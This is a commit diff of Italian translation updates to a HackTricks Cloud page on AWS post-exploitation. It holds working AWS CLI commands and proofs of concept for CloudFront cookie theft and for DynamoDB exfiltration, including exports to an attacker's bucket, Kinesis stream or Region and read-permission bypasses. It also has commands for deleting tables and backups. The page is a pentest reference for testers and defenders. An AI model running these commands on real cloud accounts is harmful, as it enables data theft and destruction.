mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-07 19:00:49 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
Translator
@@ -4,14 +4,14 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
Per maggiori informazioni, consulta:
|
||||
Per ulteriori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudfront-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfront:Delete*`
|
||||
Un attacker a cui è concesso cloudfront:Delete* può eliminare distributions, policies e altri oggetti di configurazione critici del CDN — per esempio distributions, cache/origin policies, key groups, origin access identities, functions/configs e risorse correlate. Questo può causare interruzioni del servizio, perdita di contenuti e rimozione di configurazioni o artefatti forensi.
|
||||
An attacker granted cloudfront:Delete* can delete distributions, policies and other critical CDN configuration objects — for example distributions, cache/origin policies, key groups, origin access identities, functions/configs, and related resources. This can cause service disruption, content loss, and removal of configuration or forensic artifacts.
|
||||
|
||||
Per eliminare una distribution, un attacker potrebbe usare:
|
||||
```bash
|
||||
@@ -21,19 +21,19 @@ aws cloudfront delete-distribution \
|
||||
```
|
||||
### Man-in-the-Middle
|
||||
|
||||
Questo [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione tramite CloudFront** con lo scopo di **stealing** informazioni utente (come il session **cookie**) e **modifying** la **response** (injecting uno script JS malevolo).
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propone un paio di scenari diversi in cui una **Lambda** potrebbe essere aggiunta (o modificata se è già in uso) in una **comunicazione tramite CloudFront** con lo scopo di **rubare** informazioni degli utenti (come il **cookie** di sessione) e **modificare** la **risposta** (iniettando uno script JS malevolo).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
|
||||
- **Crea** la **function** malevola.
|
||||
- **Associala** alla distribuzione CloudFront.
|
||||
- **Crea** la **funzione** malevola.
|
||||
- **Associala** alla CloudFront distribution.
|
||||
- Imposta il **tipo di evento su "Viewer Response"**.
|
||||
|
||||
Accedendo alla **response** potresti **steal** il **cookie** degli utenti e **inject** uno script JS malevolo.
|
||||
Accedendo alla risposta potresti rubare il cookie degli utenti e iniettare un JS malevolo.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
|
||||
- **Modifica il codice** della **lambda function** per **steal** informazioni sensibili
|
||||
- **Modifica il codice** della funzione lambda per rubare informazioni sensibili
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Un attaccante con questi permessi sarà in grado di **ottenere elementi dalle tabelle tramite la chiave primaria** (non è possibile richiedere tutti i dati della tabella). Questo significa che è necessario conoscere le chiavi primarie (puoi ottenerle recuperando i metadata della tabella (`describe-table`).)
|
||||
Un attaccante con questo permesso sarà in grado di **ottenere item dalle tabelle tramite la chiave primaria** (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadata della tabella (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Simile alle autorizzazioni precedenti** questa consente a un potenziale attacker di leggere i valori da una sola tabella fornendo la chiave primaria della voce da recuperare:
|
||||
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria dell'elemento da recuperare:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Con questo permesso è inoltre possibile usare il metodo **`transact-get-items`** come:
|
||||
Con questo permesso è anche possibile usare il metodo **`transact-get-items`** come:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Impatto potenziale:** Privesc indiretto tramite l'individuazione di informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Indirect privesc localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attaccante di leggere valori da una sola tabella fornendo la chiave primaria della voce da recuperare. Consente di usare un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con la chiave primaria (che deve comparire) è "EQ", quindi non puoi usare un confronto per ottenere l'intero DB in una richiesta.
|
||||
**Simile alle autorizzazioni precedenti** questa permette a un potenziale attacker di leggere valori da una sola tabella dato il primary key della voce da recuperare. Permette di usare un [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ma l'unico confronto consentito con il primary key (che deve essere presente) è "EQ", quindi non è possibile usare un confronto per ottenere l'intero DB in una singola richiesta.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** privesc indiretto ottenibile individuando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Puoi usare questo permesso per **dump l'intera tabella facilmente**
|
||||
Puoi usare questa autorizzazione per **dump dell'intera tabella con facilità**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** privesc indiretto localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Puoi usare questa autorizzazione per **effettuare il dump dell'intera tabella facilmente**.
|
||||
Puoi usare questo permesso per **dump dell'intera tabella facilmente**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Questa autorizzazione consente anche di eseguire `batch-execute-statement` come:
|
||||
Questa permission consente anche di eseguire `batch-execute-statement` come:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
ma è necessario specificare la chiave primaria con un valore, quindi non è molto utile.
|
||||
ma devi specificare la chiave primaria con un valore, quindi non è molto utile.
|
||||
|
||||
**Impatto potenziale:** Privesc indiretto ottenuto individuando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Indirect privesc localizzando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Questa autorizzazione permetterà a un attacker di **esportare l'intera tabella in un bucket S3** a sua scelta:
|
||||
Questo permesso permetterà a un attaccante di **esportare l'intera tabella in un S3 bucket** di sua scelta:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,34 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Nota che, perché questo funzioni, la tabella deve avere point-in-time-recovery abilitato; puoi verificare se la tabella lo ha con:
|
||||
Nota che perché questo funzioni, la tabella deve avere abilitato point-in-time-recovery; puoi verificare se la tabella lo ha con:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Se non è abilitato, dovrai **abilitarlo** e per farlo hai bisogno della **`dynamodb:ExportTableToPointInTime`**:
|
||||
Se non è abilitato, dovrai **abilitarlo** e per farlo hai bisogno della **`dynamodb:ExportTableToPointInTime`** autorizzazione:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potenziale impatto:** privesc indiretto individuando informazioni sensibili nella tabella
|
||||
**Impatto potenziale:** Indirect privesc individuando informazioni sensibili nella tabella
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
|
||||
Con queste autorizzazioni, un attaccante sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di verificare le **informazioni** dai backup che **non sono più presenti nella tabella di produzione**.
|
||||
Con queste autorizzazioni, un attacker sarebbe in grado di **creare una nuova tabella da un backup** (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare **informazioni** dai backup che p**otrebbero non essere più nella tabella di produzione**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale:** privesc indiretto individuando informazioni sensibili nel backup della tabella
|
||||
**Impatto potenziale:** privesc indiretto reperendo informazioni sensibili nel backup della tabella
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Questa autorizzazione consente agli utenti di aggiungere un **nuovo elemento alla tabella o sostituire un elemento esistente** con un nuovo elemento. Se un elemento con la stessa chiave primaria esiste già, l'**intero elemento verrà sostituito** con il nuovo elemento. Se la chiave primaria non esiste, un nuovo elemento con la chiave primaria specificata verrà **creato**.
|
||||
Questa autorizzazione permette agli utenti di aggiungere un **nuovo item alla tabella o sostituire un item esistente** con un nuovo item. Se un item con la stessa chiave primaria esiste già, **l'intero item sarà sostituito** con il nuovo item. Se la chiave primaria non esiste, un nuovo item con la chiave primaria specificata sarà **creato**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -203,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypass consentito dalla possibilità di aggiungere o modificare dati in una tabella DynamoDB
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Questa autorizzazione permette agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la chiave primaria non esiste nella tabella, l'operazione **creerà un nuovo item** con la chiave primaria specificata e imposterà gli attributi indicati nell'update expression.
|
||||
Questa autorizzazione consente agli utenti di **modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item**. Non **sostituisce** l'intero item; aggiorna solo gli attributi specificati. Se la primary key non esiste nella tabella, l'operazione **creerà un nuovo item** con la primary key specificata e imposterà gli attributi specificati nell'update expression.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -243,34 +242,34 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potenziale impatto:** Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
|
||||
**Impatto potenziale:** Sfruttamento di ulteriori vulnerabilità/bypasses consentendo di aggiungere/modificare dati in una tabella DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Un attacker con questo permesso può **cancellare una tabella DynamoDB, causando perdita di dati**.
|
||||
Un attacker con questa autorizzazione può **cancellare una tabella DynamoDB, causando perdita di dati**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale**: Perdita di dati e interruzione dei servizi che si basano sulla tabella eliminata.
|
||||
**Potential impact**: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Un attacker con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente perdita di dati in caso di ripristino di emergenza**.
|
||||
Un attaccante con questa autorizzazione può **eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di ripristino dopo un disastro**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Impatto potenziale**: Perdita di dati e impossibilità di ripristinare da un backup durante uno scenario di disaster recovery.
|
||||
**Potential impact**: Perdita di dati e incapacità di recuperare da un backup durante uno scenario di disaster recovery.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Testare se questo funziona realmente
|
||||
> TODO: Verificare se questo funziona effettivamente
|
||||
|
||||
Un attaccante con questi permessi può **abilitare uno stream su una tabella DynamoDB, aggiornare la tabella per iniziare a trasmettere le modifiche e poi accedere allo stream per monitorare le modifiche alla tabella in tempo reale**. Questo permette all'attaccante di monitorare ed esfiltrare le modifiche ai dati, potenzialmente portando a data leakage.
|
||||
Un attacker con queste autorizzazioni può **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Questo consente all'attacker di monitorare ed exfiltrate le modifiche ai dati, potenzialmente causando data leakage.
|
||||
|
||||
1. Abilitare uno stream su una tabella DynamoDB:
|
||||
```bash
|
||||
@@ -279,13 +278,13 @@ aws dynamodb update-table \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Descrivi il flusso per ottenere l'ARN e altri dettagli:
|
||||
2. Descrivi lo stream per ottenere l'ARN e altri dettagli:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Ottieni l'iteratore dello shard usando l'ARN dello stream:
|
||||
3. Ottieni lo shard iterator usando lo stream ARN:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -293,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Usa lo shard iterator per accedere e exfiltrate i dati dallo stream:
|
||||
4. Usa il shard iterator per accedere e exfiltrate i dati dallo stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: Monitoraggio in tempo reale e esfiltrazione dei dati delle modifiche della tabella DynamoDB.
|
||||
**Impatto potenziale**: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB.
|
||||
|
||||
### Leggere elementi tramite `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
### Leggere elementi tramite `dynamodb:UpdateItem` e `ReturnValues=ALL_OLD`
|
||||
|
||||
Un attacker con solo `dynamodb:UpdateItem` su una tabella può leggere gli elementi senza nessuna delle consuete autorizzazioni di lettura (`GetItem`/`Query`/`Scan`) eseguendo un aggiornamento innocuo e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'immagine completa precedente all'update dell'elemento nel campo `Attributes` della risposta (questo non consuma RCUs).
|
||||
Un attaccante con solo `dynamodb:UpdateItem` su una tabella può leggere gli elementi senza nessuno dei consueti permessi di lettura (`GetItem`/`Query`/`Scan`) eseguendo un update benigno e richiedendo `--return-values ALL_OLD`. DynamoDB restituirà l'immagine completa pre-update dell'item nel campo `Attributes` della risposta (questo non consuma RCUs).
|
||||
|
||||
- Permessi minimi: `dynamodb:UpdateItem` sulla tabella/chiave target.
|
||||
- Prerequisiti: Devi conoscere la chiave primaria dell'elemento.
|
||||
- Prerequisiti: Devi conoscere la chiave primaria dell'item.
|
||||
|
||||
Esempio (aggiunge un attributo innocuo ed esfiltra l'elemento precedente nella risposta):
|
||||
Esempio (aggiunge un attributo innocuo e exfiltrates l'item precedente nella risposta):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -319,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
La risposta della CLI includerà un blocco `Attributes` contenente l'elemento completo precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura a partire da un accesso in sola scrittura.
|
||||
La risposta della CLI includerà un blocco `Attributes` contenente l'intero elemento precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso solo in scrittura.
|
||||
|
||||
**Impatto potenziale:** Leggere elementi arbitrari da una tabella con solo permessi di scrittura, consentendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.
|
||||
**Impatto potenziale:** Leggere elementi arbitrari da una tabella avendo solo permessi di scrittura, consentendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (versione 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attacker, dalla quale l'attacker può leggere tutti gli items.
|
||||
Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (version 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attacker, da cui l'attacker può leggere tutti gli elementi.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -355,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permessi: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` sulla tabella target. If CMK is used in the replica, KMS permissions for that key may be required.
|
||||
Autorizzazioni: `dynamodb:UpdateTable` (con `replica-updates`) oppure `dynamodb:CreateTableReplica` sulla tabella di destinazione. Se nella replica viene usata una CMK, potrebbero essere necessarie autorizzazioni KMS per quella chiave.
|
||||
|
||||
Impatto potenziale: Replicazione dell'intera tabella in una Region controllata dall'attacker portando a stealthy data exfiltration.
|
||||
Impatto potenziale: replica dell'intera tabella in una regione controllata dall'attaccante, permettendo un'esfiltrazione furtiva di dati.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (lettura tramite condizione fallita + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Un attacker con privilegi di scrittura transazionale può esfiltrare gli attributi completi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che intenzionalmente fa fallire una `ConditionExpression` mentre imposta `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nei motivi di cancellazione della transazione, trasformando di fatto l'accesso in sola scrittura in accesso in lettura sulle chiavi target.
|
||||
Un attaccante con privilegi di scrittura transazionale può esfiltrare tutti gli attributi di un item esistente eseguendo un `Update` all'interno di `TransactWriteItems` che provoca intenzionalmente il fallimento di una `ConditionExpression` impostando contemporaneamente `ReturnValuesOnConditionCheckFailure=ALL_OLD`. In caso di fallimento, DynamoDB include gli attributi precedenti nelle ragioni di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in un accesso in lettura alle chiavi mirate.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -412,17 +411,17 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
|
||||
Permessi: `dynamodb:TransactWriteItems` sulla tabella target (e sull'item sottostante). Non sono necessari permessi di lettura.
|
||||
|
||||
Impatto potenziale: Leggere item arbitrari (per primary key) da una tabella usando solo privilegi di scrittura transazionale tramite i cancellation reasons restituiti.
|
||||
Impatto potenziale: leggere item arbitrari (per chiave primaria) da una tabella usando solo privilegi di scrittura transazionale tramite i motivi di cancellazione restituiti.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` su GSI
|
||||
|
||||
Bypassare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo su un valore costante attraverso gli item, quindi eseguire una `Query` sull'indice per recuperare gli item completi. Questo funziona anche se `Query`/`Scan` sulla tabella base è negato, purché tu possa interrogare l'index ARN.
|
||||
Bypassare le restrizioni di lettura creando una Global Secondary Index (GSI) con `ProjectionType=ALL` su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi effettuare una `Query` sull'indice per recuperare gli item completi. Funziona anche se `Query`/`Scan` sulla tabella base sono negati, purché sia possibile interrogare l'ARN dell'indice.
|
||||
|
||||
- Permessi minimi:
|
||||
- `dynamodb:UpdateTable` sulla tabella target (per creare la GSI con `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` sulle chiavi della tabella target (per impostare l'attributo indicizzato su ciascun item).
|
||||
- `dynamodb:Query` sull'ARN della risorsa dell'indice (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- `dynamodb:UpdateItem` sulle chiavi della tabella target (per impostare l'attributo indicizzato su ogni item).
|
||||
- `dynamodb:Query` sull'index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
Passaggi (PoC in us-east-1):
|
||||
```bash
|
||||
@@ -465,14 +464,14 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
**Impatto potenziale:** Esfiltrazione completa della tabella interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Esfiltrazione continua via Kinesis Data Streams)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Exfiltrazione continua via Kinesis Data Streams)
|
||||
|
||||
Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attacker. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato quasi in tempo reale allo stream senza richiedere permessi di lettura sulla tabella.
|
||||
Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato in tempo quasi reale allo stream senza necessità di permessi di lettura sulla tabella.
|
||||
|
||||
Permessi minimi (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
|
||||
Permessi minimi (attaccante):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` sulla tabella target
|
||||
- Opzionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` per monitorare lo stato
|
||||
- Permessi di lettura sul Kinesis stream di proprietà dell'attaccante per consumare i record: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -531,9 +530,9 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
Un attacker con il permesso dynamodb:UpdateTimeToLive può cambiare la configurazione TTL (time-to-live) di una tabella — abilitando o disabilitando il TTL. Quando il TTL è abilitato, i singoli elementi che contengono l'attributo TTL configurato verranno eliminati automaticamente una volta raggiunto il tempo di scadenza. Il valore TTL è semplicemente un altro attributo su ogni elemento; gli elementi senza quell'attributo non sono influenzati dall'eliminazione basata sul TTL.
|
||||
Un attacker con il permesso dynamodb:UpdateTimeToLive può modificare la configurazione TTL (time-to-live) di una tabella — abilitando o disabilitando il TTL. Quando il TTL è abilitato, gli items che contengono l'attributo TTL configurato vengono automaticamente eliminati una volta raggiunto il loro tempo di scadenza. Il valore TTL è semplicemente un altro attributo su ogni item; gli items privi di quell'attributo non sono interessati dall'eliminazione basata su TTL.
|
||||
|
||||
Se gli elementi non contengono già l'attributo TTL, l'attacker avrebbe anche bisogno di un permesso che aggiorni gli elementi (per esempio dynamodb:UpdateItem) per aggiungere l'attributo TTL e innescare eliminazioni di massa.
|
||||
Se gli items non contengono già l'attributo TTL, l'attacker avrebbe anche bisogno di un permesso che aggiorni gli items (per esempio dynamodb:UpdateItem) per aggiungere l'attributo TTL e scatenare eliminazioni di massa.
|
||||
|
||||
Per prima cosa abilita il TTL sulla tabella, specificando il nome dell'attributo da usare per la scadenza:
|
||||
```bash
|
||||
@@ -541,7 +540,7 @@ aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
Quindi aggiorna gli elementi per aggiungere l'attributo TTL (secondi dall'epoch) in modo che scadano e vengano rimossi:
|
||||
Quindi aggiorna gli items per aggiungere l'attributo TTL (epoch seconds) in modo che scadano e vengano rimossi:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
@@ -551,7 +550,7 @@ aws dynamodb update-item \
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
Un attaccante con i permessi `dynamodb:RestoreTableFromAwsBackup` o `dynamodb:RestoreTableToPointInTime` può creare nuove tabelle ripristinate da backup o da point-in-time recovery (PITR) senza sovrascrivere la tabella originale. La tabella ripristinata contiene un'immagine completa dei dati al punto selezionato, quindi l'attaccante può usarla per exfiltrate informazioni storiche o ottenere un dump completo dello stato passato del database.
|
||||
Un attaccante con le autorizzazioni dynamodb:RestoreTableFromAwsBackup o dynamodb:RestoreTableToPointInTime può creare nuove tabelle ripristinate da backup o da point-in-time recovery (PITR) senza sovrascrivere la tabella originale. La tabella ripristinata contiene un'immagine completa dei dati al punto selezionato, quindi l'attaccante può usarla per esfiltrare informazioni storiche o ottenere un dump completo dello stato passato del database.
|
||||
|
||||
Ripristinare una tabella DynamoDB da un backup on-demand:
|
||||
```bash
|
||||
@@ -568,7 +567,7 @@ aws dynamodb restore-table-to-point-in-time \
|
||||
````
|
||||
</details>
|
||||
|
||||
**Potential Impact:** Esfiltrazione continua, quasi in tempo reale, delle modifiche alla tabella verso uno stream Kinesis controllato dall'attaccante senza operazioni di lettura diretta sulla tabella.
|
||||
**Impatto potenziale:** Esfiltrazione continua, quasi in tempo reale, delle modifiche della tabella verso un attacker-controlled Kinesis stream senza operazioni di lettura dirette sulla tabella.
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -12,18 +12,19 @@ Per maggiori informazioni consulta:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplica il traffico in ingresso e in uscita per le istanze EC2 all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse. Questo traffico duplicato viene comunemente inviato a qualcosa come un network intrusion detection system (IDS) per analisi e monitoraggio.\
|
||||
Un attacker potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili:
|
||||
VPC traffic mirroring **duplica il traffico in ingresso e in uscita per le istanze EC2 all'interno di una VPC** senza la necessità di installare nulla sulle istanze stesse.\
|
||||
Questo traffico duplicato viene comunemente inviato a qualcosa come un sistema di rilevamento intrusioni di rete (IDS) per analisi e monitoraggio.\
|
||||
Un attaccante potrebbe abusarne per catturare tutto il traffico e ottenere informazioni sensibili da esso:
|
||||
|
||||
Per maggiori informazioni consulta questa pagina:
|
||||
Per ulteriori informazioni consulta questa pagina:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
{{#endref}}
|
||||
|
||||
### Copy Running Instance
|
||||
### Copiare un'istanza in esecuzione
|
||||
|
||||
